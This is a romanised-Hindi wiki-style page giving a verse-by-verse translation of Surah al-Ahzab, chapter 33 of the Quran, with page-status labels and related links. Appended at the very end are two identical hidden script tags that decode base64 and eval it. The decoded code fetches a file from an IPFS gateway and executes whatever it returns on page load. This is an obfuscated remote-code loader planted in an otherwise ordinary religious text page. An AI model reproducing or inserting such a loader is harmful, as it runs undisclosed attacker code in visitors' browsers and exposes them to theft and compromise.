अल-अहज़ाब

al-ahazab islam dharm ke pavitr granth quran ka 33vaan soora (adhyay) hai jisamean 73 ayatean hoti haian.
33:1- ai nabi khuda hi se darate raho aur kaphiroan aur munaphiqoan ki bat n mano isamean shak nahian ki khuda b da vaqiphakar hakim hai.
33:2- aur tumhare paravaradigar ki taraph se tumhare pas jo vahi ki jati hai (bas) usi ki pairavi karo tum log jo kuchh kar rahe ho khuda usase yaqini achchha tarah agah hai. 33:3- aur khuda hi par bharosa rakho aur khuda hi karasaji ke lie kafi hai
33:4- khuda ne kisi adami ke sine mean do dil nahian paida kiye ki (ek hi vakt do irade kar sake) aur n usane tumhari biviyoan ko jin se tum jehar karate ho tumhari maean bana di aur n usane tumhare liye palakoan ko tumhare bete bana diye. ye to faqat tumhari muanh boli bat (aur zubani jama kharch) hai aur (chahe kisi ko buri lage ya achchhi) khuda to sachchi kahata hai aur sidhi rah dikhata hai.
33:5- liye palakoan ka unake (asali) bapoan ke nam se pukara karo yahi khuda ke nazadik bahut thik hai haan agar tum log unake asali bapoan ko n janate ho to tumhare dini bhaee aur dost haian (unhean bhaee ya dost kahakar pukara karo) aur haan isamean bhool chook jao to alabatta usaka tum par koee ilzam nahian hai magar jab tum dil se janaboojh kar karo (to zaroor gunah hai) aur khuda to b da bakhshane vala meharaban hai.
33:6- nabi to mominin se khud unaki janoan se bhi badhakar haq rakhate haian (kyoanki vah goya ummat ke meharaban bap haian) aur unaki biviyaan (goya) unaki maean haian aur mominin v muhajirin mean se (jo log baham) qarabatadar haian. kitabean khuda ki rooh se (gairoan ki nisbat) ek doosare ke (tarke ke) jyada haqadar haian magar (jab) tum apane dostoan ke sath sulook karana chaho (to doosari bat hai) ye to kitabe (khuda) mean likha hua (maujood) hai.
33:7- aur (ai rasool vah vakt yad karo) jab hamane aur paigambaroan se aur khas tumase aur nooh aur ibarahim aur moosa aur mariyam ke bete eesa se ehado paimane liya aur un logoan se hamane sakht ehad liya tha.
33:8- taki (qayamat ke din) sachchoan (paigambaroan) se unaki sachchaee tabalige risalat ka hal dariyapht karean aur kaphiroan ke vaste to usane dardanak azab taiyar hi kar rakha hai.
33:9- (ai eemanadaroan khuda ki) un neamatoan ko yad karo jo usane tum par nazil ki haian (jange khandak mean) jab tum par (kaphiroan ka) lashakar (um d ke) a p da to (hamane tumhari madad ki) un par aauandhi bheji aur (isake alava pharishtoan ka aisa lashkar bheja) jisako tumane dekha tak nahian aur tum jo kuchh kar rahe the khuda use khoob dekh raha tha.
33:10- jis vakt vah log tum par tumhare oopar se a p de aur tumhare niche ki taraph se bhi pil ge aur jis vakt (unaki kasarat se) tumhari aauankhean khaira ho gayian thi aur (khauph se) kaleje muanh ko a ge the aur khuda par tarah-tarah ke (bure) khyal karane lage the.
33:11- yahaan par mominoan ka imtihan liya gaya tha aur khoob achchhi tarah jhianjho de ge the.
33:12- aur jis vakt munapheqin aur vah log jinake diloan mean (kuphr ka) maraz tha kahane lage the ki khuda ne aur usake rasool ne jo hamase vayade kie the vah bas bilkul dhokhe ki tatti tha.
33:13- aur ab unamean ka ek giroh kahane laga tha ki ai madine valoan ab (dushman ke muqabalean mean ) tumhare kahian thikana nahian to (behatar hai ki ab bhi) palat chalo aur unamean se kuchh log rasool se (ghar laut jane ki) ijazat maangane lage the ki hamare ghar (mardoan se) bilkul khali (gair mahaphooz) p de hue haian - halaanki vah khali (gair mahaphooz) n the (balki) vah log to (isi bahane se) bas bhagana chahate haian.
33:14- aur agar aisa hi lashkar un logoan par madine ke etaraph se a p de aur un se phasad (khana jangi) karane ki darakhvast ki jae to ye log usake lie (phauran) a maujood hoan.
33:15- aur (us vakt) apane gharoan mean bhi bahut kam tavakquf kareange (magar ye to jihad hai) halaanki un logoan ne pahale hi khuda se ehad kiya tha ki ham dushman ke muqabale mean (apani) pith n phereange aur khuda ke ehad ki poochhagachh to (ek n ek din) hokar rahegi.
33:16- (ai rasool unase) kah do ki agar tum maut ka qatl (ke khauph) se bhage bhi to (yah) bhagana tumhean haragiz kuchh bhi mufid n hoga aur agar tum bhagakar bach bhi ge to bas yahi n ki duniya mean chand roza aur chainakar lo.
33:17- (ai rasool) tum unase kah do ki agar khuda tumhare sath buraee ka irada kar baithe to tumhean usake (azab) se kaun aisa hai jo bachae ya bhalaee hi karana chahe (to kaun rok sakata hai) aur ye log khuda ke siva n to kisi ko apana saraparast paeange aur n maddagar.
33:18- tumamean se jo log (doosaroan ko jihad se) rokate haian khuda unako khoob janata hai aur (unako bhi khoob janata hai) jo apane bhaee bandoan se kahate haian ki hamare pas chale bhi ao aur khud bhi (phaqat pichha chhu dane ko l daee ke khet) mean bas ek zara sa akar tumase apani jan churaee.
33:19- aur chal die aur jab (un par) koee khauph (ka mauqa) a p da to dekhate ho ki (as se) tumhari taraph dekhate haian (aur) unaki aauankhean is tarah ghoomati haian jaise kisi shakhs par maut ki behoshi chha jae phir vah khauph (ka mauqa) jata raha aur eemanadaroan ki phateh huee to male (ganimat) par girate p date phauran tum par apani tez zabanoan se tana kasane lage ye log (shuroo) se eeman hi nahian lae (phaqat zabani jama kharch thi) to khuda ne bhi inaka kiya karaya sab akarat kar diya aur ye to khuda ke vaste ek (nihayat) asan bat thi.
33:20- (madine ka muhasera karane vale chal bhi die magar) ye log abhi yahi samajh rahe haian ki (kafiroan ke) lashkar abhi nahian ge aur agar kahian (kuphphar ka) lashkar phir a pahuanche to ye log chaheange ki kash vah jangaloan mean ganvaroan mean ja basate aur (vahian se baithe baithe) tumhare halat darayapht karate rahate aur agar unako tum logoan mean rahana p data to faqat (pichha chhu dane ko) zara zahoor (kahian) l date.
33:21- (musalamanoan) tumhare vaste to khud rasool allah ka (khandaq mean baithana) ek achchha namoona tha (magar haan yah) us shakhs ke vaste hai jo khuda aur roje akherat ki ummid rakhata ho aur khuda ki yad bakasarat karata ho.
33:22- aur jab sachche eemanadaroan ne (kuphphar ke) jamaghatoan ko dekha to (betakalluf) kahane lage ki ye vahi chiz to hai jisaka ham se khuda ne aur usake rasool ne vayada kiya tha (isaki paravah kya hai) aur khuda ne aur usake rasool ne bilkul thik kaha tha aur (isake dekhane se) unaka eemanadar aur unaki itaat aur bhi zinda ho gayi.
33:23- eemanadaroan mean se kuchh log aise bhi haian ki khuda se unhoanne (j aaunisari ka) jo ehad kiya tha use poora kar dikhaya garaz unamean se baz vah haian jo (mar kar) apana vakt poora kar ge aur unamean se baz (hukme khuda ke) muntazir baithe haian aur un logoan ne (apani bat) zara bhi nahian badali.
33:24- ye imtehan isalie tha taki khud sachche (eemanadaroan) ko unaki sachchaee ki jazae khair de aur agar chahe to munapheqin ki saza kare ya (agar vah lage tauba karean to) khuda unaki tauba kubool pharamae isamean shak nahian ki khuda b da bakhshane vala meharaban hai.
33:25- aur khuda ne (apani kudarat se) qaphiroan ko madine se pher diya (aur vah log) apani jhuanjhalahat mean (phir ge) aur inhean kuchh phayade bhi n hua aur khuda ne (apani meharabani se) mominin ko l dane ki naubat n ane di aur khuda to (b da) zabaradast (aur) galib haian.
33:26- aur ahale kitab mean se jin logoan (bani kuraiza) ne un (kuphphar) ki madad ki thi khuda unako unake qiloan se (bedakhal karake) niche utar laya aur unake diloan mean (tumhara) aisa rob baitha diya ki tum unake kuchh logoan ko qatl karane lage.
33:27- aur kuchh ko qaidi (aur gulam) banane aur tum hi logoan ko unaki zamin aur unake ghar aur unake mal aur us zamin (khaibar) ka khuda ne malik bana diya jisamean tumane qadam tak nahian rakha tha aur khuda to har chiz par qadir vatavana hai.
33:28- ai rasool apani biviyoan se kah do ki agar tum (phaqat) duniyavi zindagi aur usaki araish v zinat ki khvah aau ho to udhar ao maian tum logoan ko kuchh sazo saman de dooan aur unavane shaista se rookhasat kar dooan.
33:29- aur agar tum log khuda aur usake rasool aur akherat ke ghar ki khvah aau ho to (achchhi tarah khyal rakho ki) tum logoan mean se nekokar auratoan ke lie khuda ne yaqinanh b da (b da) ajr v (savab) muhayya kar rakha hai.
33:30- ai paigambar ki bibiyoan tumamean se jo koee kisi sarihi na shaista harakat ki ka muratib huee to (yad rahe ki) usaka azab bhi dugana badha diya jaega aur khuda ke vaste (nihayat) asan hai.
33:31- aur tumamean se jo (bivi) khuda aur usake rasool ki tabedari achchhe (achchhe) kam karegi usako ham usaka savab bhi dohara ata karegean aur hamane usake lie (jannat mean) ijzat ki rozi taiyar kar rakhi hai.
33:32- ai nabi ki biviyoan tum aur mamooli auratoan ki si to ho vahi (bas) agar tum ko parahezagari manjoor rahe to (ajanabi adami se) bat karane mean naram naram (lagi lipati) bat n karo taki jisake dil mean (shahavate zina ka) marz hai vah (kuchh aur) irada (n) kare.
33:33- aur (saph-saph) unavane shaista se bat kiya karo aur apane gharoan mean nichali baithi raho aur agale zamane jahiliyat ki tarah apana banav siangar n dikhati phiro aur pabandi se namaz padha karo aur (barabar) zakat diya karo aur khuda aur usake rasool ki itaat karo ai (paigambar ke) ahale bait khuda to bas ye chahata hai ki tumako (har tarah ki) buraee se door rakhe aur jo pak v pakiza dikhane ka haq hai vaisa pak v pakiza rakhe.
33:34- aur (ai nabi ki bibiyoan) tumhare gharoan mean jo khuda ki ayatean aur (aqal v hikamat ki batean) padhi jati haian unako yad rakho ki beshak khuda b da barik hai vaqiphakar hai.
33:35- (dil laga ke suno) musalaman mard aur musalaman auratean aur eemanadar mard aur eemanadar auratean aur pharamabaradar mard aur pharamabaradar auratean aur rastabaz mard aur rastabaz auratean aur sabr karane vale mard aur sabr karane vali auratean aur phirautani karane vale mard aur phirautani karane vali auratean aur Âairat karane vale mard aur Âairat karane vali auratean aur rozadar mard aur rozadar auratean aur apani sharmagahoan ki hiphazat karane vale mard aur hiphazat karane vali auratean aur khuda ki bakasarat yad karane vale mard aur yad karane vali auratean beshak in sab logoan ke vaste khuda ne magaphirat aur (b da) savab muhaiyya kar rakha hai.
33:36- aur n kisi eemanadar mard ko ye munasib hai aur n kisi eemanadar aurat ko jab khuda aur usake rasool kisi kam ka hukm dean to unako apane us kam (ke karane n karane) akhateyar ho aur (yad rahe ki) jis shakhs ne khuda aur usake rasool ki napharamani ki vah yaqinan khullam khulla gumarahi mean mubtila ho chuka.
33:37- aur (ai rasool vah vakt yad karo) jab tum us shakhs (zaid) se kah rahe the jis par khuda ne ehasan (alag) kiya tha aur tumane us par (alag) ehasan kiya tha ki apani bibi (zainab) ko apani zauziyat mean rahane de aur khuda se der khud tum is bat ko apane dil mean chhipate the jisako (akhirakar) khuda zahir karane vala tha aur tum logoan se darate the hal aauki khuda isaka jyada haqadar hai ki tum us se daro garaz jab zaid apani hajat poori kar chuka (talaq de di) to hamane (hukm dekar) us aurat (zainab) ka nikah tumase kar diya taki am mominin ko apane le palak l dakoan ki biviyoan (se nikah karane) mean jab vah apana matalab un auratoan se poora kar chukean (talaq de dean) kisi tarah ki tangi n rahe aur khuda ka hukm to kiya karaya hua (qatee) hota hai.
33:38- jo hukm khuda ne paigambar par pharj qar diya (usake karane) mean us par koee muzaeka nahian jo log (unase) pahale guzar chuke haian unake bare mean bhi khuda ka (yahi) dastoor (jari) raha hai (ki nikah mean tangi n ki) aur khuda ka hukm to (thik andaze se) muqarrar hua hota hai.
33:39- vah log jo khuda ke paigamoan ko (logoan tak jooan ka tooan) pahuanchate the aur usase darate the aur khuda ke siva kisi se nahian darate the (phir tum kyoan darate ho) aur hisab lene ke vaste to khud kafi hai.
33:40- (logoan) mohammad tumhare mardoan mean se (haqiqatan) kisi ke bap nahian haian (phir jaid ki bivi kyoan haram hone lagi) balki allah ke rasool aur nabiyoan ki mohar (yani khatm karane vale) haian aur khuda to har chiz se khoob vaqiph hai.
33:41- ai eemanavaloan bakasarat khuda ki yad kiya karo aur.
33:42- subah v sham usaki tasabih karate raho.
33:43- vah vahi to hai jo khud tumapar doorood (dardoan rahamat) bhejata hai aur usake farishte taki tumako (kufr ki) tariqiyoan se nikalakar (eeman ki) raushani mean le jae aur khuda eemanavaloan par b da meharaban hai.
33:44- jis din usaki baragah mean hazir hoange (us din) unaki muradat (usaki taraph se har qism ki) salamati hogi aur khuda ne to unake vaste bahut achchha badala (behasht) taiyar rakha hai.
33:45- ai nabi hamane tumako (logoan ka) gavah aur (nekoan ko behasht ki) khushakhabari dene vala aur badoan ko azab se darane vala.
33:46- aur khuda ki taraph usi ke hukm se bulane vala aur (eeman v hidayat ka) raushan chirag banakar bheja.
33:47- aur tum mominin ko khushakhabari de do ki unake lie khuda ki taraph se bahut b di (meharabani aur) bakhshish hai.
33:48- aur (ai rasool) tum (kahian) kaphiroan aur munaphiqoan ki itaat n karana aur unaki eezarasani ka khyal chho d do aur khuda par bharosa rakho aur karasazi mean khuda kafi hai 33:49- ai eemanavaloan jab tum momina auratoan se (bagair mehar muqarrar kiye) nikah karo usake bad unhean apane hath lagane se pahale hi talaq de do to phir tumako unapar koee haq nahian ki (unase) idda poora karao unako to kuchh (kap de rupaye vagairah) dekar unavane shaista se rookhasat kar do.
33:50- ai nabi hamane tumhare vaste tumhari un biviyoan ko halal kar diya hai jinako tum mehar de chuke ho aur tumhari un lauandiyoan ko (bhi) jo khuda ne tumako (bagair l de-bhi de) male ganimat mean ata ki hai aur tumhare chacha ki betiyaan aur tumhari phoophiyoan ki betiyaan aur tumhare mamoo ki betiyaan aur tumhari khalaoan ki betiyaan jo tumhare sath hijarat karake ayi haian (halal kar di aur har eemanavali aurat (bhi halal kar di) agar vah apane ko (bagair mehar) nabi ko de dean aur nabi bhi usase nikah karana chahate hoan magar (ai rasool) ye hukm sirph tumhare vaste khas hai aur mominin ke lie nahian aur hamane jo kuchh (mehar ya qimat) am mominin par unaki biviyoan aur unaki lauandiyoan ke bare mean muqarrar kar diya hai ham khoob janate haian aur (tumhari riayat isalie hai) taki tumako (biviyoan ki taraph se) koee dikqat n ho aur khuda to b da bakhashane vala meharaban hai.
33:51- inamean se jisako (jab) chaho alag kar do aur jisako (jab tak) chaho apane pas rakho aur jin auratoan ko tumane alag kar diya tha agar phir tum unake khvah aau ho to bhi tum par koee mazaeqa nahian hai ye (akhateyar jo tumako diya gaya hai) zaroor is qabil hai ki tumhari biviyoan ki aauankhean thandi rahe aur arjooda khatir n ho aur vo kuchh tum unhean de do sabaki sab us par razi rahean aur jo kuchh tumhare diloan mean hai khuda usako khub janata hai aur khuda to b da vaqiphakar burdabar hai.
33:52- (ai rasool) ab un (nau) ke bad (aur) auratean tumhare vaste halal nahian aur n ye jayaz hai ki unake badale unamean se kisi ko chho dakar aur bibiyaan kar lo agar che tumako unaka husn kaisa hi bhala (kyoan n) maloom ho magar tumhari lauandiyaan (is ke bad bhi jayaz haian) aur khuda to har chiz ka nigar aau hai.
33:53- ai eemanadaroan tum log paigambar ke gharoan mean n jaya karo magar jab tumako khane ke vaste (andar ane ki) ijazat di jae (lekin) usake pakane ka intezar (nabi ke ghar baithakar) n karo magar jab tumako bulaya jae to (thik vakt par) jao aur phir jab kha chuko to (phauran apani apani jagah) chale jaya karo aur batoan mean n lag jaya karo kyoanki isase paigambar ko aziyat hoti hai to vah tumhara laihaz karate haian aur khuda to thik (thik kahane) se jheanpata nahian aur jab paigambar ki biviyoan se kuchh maangana ho to parde ke bahar se maanga karo yahi tumhare diloan aur unake diloan ke vaste bahut saphaee ki bat hai aur tumhare vaste ye jayaz nahian ki rasoole khuda ko (kisi tarah) aziyat do aur n ye jayaz hai ki tum usake bad kabhi unaki biviyoan se nikah karo beshak ye khuda ke nazadik b da (gunah) hai.
33:54- chahe kisi chiz ko tum zahir karo ya use chhipao khuda to (baharahal) har chiz se yaqini khoob agah hai.
33:55- auratoan par n apane bap dadaoan (ke samane hone) mean kuchh gunah hai aur n apane betoan ke aur n apane bhaeeyoan ke aur n apane bhatijoan ke aur apane bhaanjoan ke aur n apani (qism ki) auratoan ke aur n apani lauandiyoan ke samane hone mean kuchh gunah hai (ai paigambar ki bibiyoan) tum log khuda se darati raho isamean koee shak hi nahian ki khuda (tumhare amal mean) har chiz se vaqif hai.
33:56- isamean bhi shak nahian ki khuda aur usake pharishte paigambar (aur unaki al) par durood bhejate haian to ai eemanadaroan tum bhi durood bhejate raho aur barabar salam karate raho.
33:57- beshak jo log khuda ko aur usake rasool ko aziyat dete haian un par khuda ne duniya aur akherat (donoan) mean lanat ki hai aur unake lie roosavaee ka azab taiyar kar rakha hai.
33:58- aur jo log eemanadar mard aur eemanadar auratoan ko bagair kuchh kie ddare (tohamat dekar) aziyat dete haian to vah ek bohatan aur sarih gunah ka bojh (apani gardan par) uthate haian.
33:59- ai nabi apani biviyoan aur apani l dakiyoan aur mominin ki auratoan se kah do ki (bahar nikalate vakt) apane (cheharoan aur gardanoan) par apani chadaroan ka ghooanghat lataka liya karean ye unaki (sharafat ki) pahachan ke vaste bahut munasib hai to unhean koee chhe dega nahian aur khuda to b da bakhshane vala meharaban hai.
33:60- ai rasool munapheqin aur vah log jinake diloan mean (kufr ka) marz hai aur jo log madine mean buri khabarean u daya karate haian- agar ye log (apani shararatoan se) baz n aeangean to ham tum hi ko (ek n ek din) un par musallat kar degean phir vah tumhare p dos mean chand rozoan ke siva thaharane (hi) n paeange.
33:61- lanat ke mare jahaan kahian hatthe chadhe pak de ge aur phir buri tarah mar dale ge.
33:62- jo log pahale guzar ge unake bare mean (bhi) khuda ki (yahi) adat (jari) rahi aur tum khuda ki adat mean haragiz tagayyur tabaddul n paoge.
33:63- (ai rasool) log tumase qayamat ke bare mean poochha karate haian (tum unase) kah do ki usaka ilm to bas khuda ko hai aur tum kya jano shayad qayamat qarib hi ho.
33:64- khuda ne qaphiroan par yaqinan lanat ki hai aur unake lie jahannum ko taiyar kar rakha hai.
33:65- jisamean vah hamesha abadal abad raheange n kisi ko apana saraparast paeange n maddagar.
33:66- jis din unake muanh jahannum ki taraph pher die jaeangean to us din afasosanak lahaje mean kaheange ai kash hamane khuda ki itaat ki hoti aur rasool ka kahana mana hota.
33:67- aur kaheange ki paravaradigarahamane apane saradaroan apane b doan ka kahana mana to unhoan hi ne hamean gumarah kar diya.
33:68- paravaradigara (ham par to azab sahi hai magar) un logoan par dohara azab nazil kar aur un par b di se b di lanat kar.
33:69- ai eemanavaloan (khabaradar kahian) tum log bhi unake se n ho jana jinhoanne moosa ko takaliph di to khuda ne unaki tohamatoan se moosa ko bari kar diya aur moosa khuda ke nazadik ek ravadar (ijzat karane vale) (paigambar) the.
33:70- ai eemanavaloan khuda se darate raho aur (jab kaho to) duroost bat kaha karo.
33:71- to khuda tumhari karaguzariyoan ko duroost kar dega aur tumhare gunah bakhsh dega aur jis shakhs ne khuda aur usake rasool ki itaat ki vah to apani murad ko khoob achchhi tarah pahuanch gaya.
33:72- beshak hamane (roze azal) apani amanat (itaat ibadat) ko sare asaman aur zamin paha doan ke samane pesh kiya to unhoanne usake (bar) uthane se inkar kiya aur usase dar ge aur adami ne use (be tammul) utha liya beshak insan (apane haq mean) b da zalim (aur) nadan hai.
33:73- isaka natija yah hua ki khuda munaphiq mardoan aur munaphiq auratoan aur musharik mardoan aur musharik auratoan ko (unake kie ki) saza dega aur eemanadar mardoan aur eemanadar auratoan ki (taqasir amanat ki) tauba qubool pharamaega aur khuda to b da bakhashane vala meharaban hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• al-ahazab
• Surah Al-Ahzab / সূরা আল আহযাব

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>